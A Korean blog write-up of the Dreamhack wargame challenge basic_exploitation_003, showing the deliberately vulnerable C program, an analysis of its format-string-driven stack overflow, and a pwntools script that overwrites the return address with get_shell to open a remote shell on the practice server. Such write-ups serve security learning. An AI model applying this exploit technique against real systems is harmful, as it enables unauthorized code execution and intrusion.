[Dreamhack Wargame] basic_exploitation_003

don't panic·2024년 2월 7일
0

System Hacking wargame

목록 보기
34/39

code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}

  • canary도 없고, PIE도 안 걸려있기 때문에 return address를 get_shell 함수의 주소로 바꾸면 되겠다.
  • main에서 fstring을 써서 stack_buf를 만들고 있다. 이를 이용해 buffer overflow가 일어나도록 하면 되겠다.
  • 원래같으면 heap_buf를 0x80만큼밖에 못 입력받지만 sprintf에 이를 format string으로 보냄으로서 우리가 원하는 큰 크기만큼 stack_buf를 늘릴 수 있다.
  • main의 stack에서 stack_buf는 [ebp-0x98]에 위치한다. 여기서 SFP까지를 덮고 return address를 get_shell로 바꿔보자!

exploit code

from pwn import *

p = remote('host3.dreamhack.games', 23500)
e = ELF('./basic_exploitation_003')

get_shell = e.symbols['get_shell']

fmtstr = b'%156c' + p32(get_shell)
p.sendline(fmtstr)

p.interactive()

0개의 댓글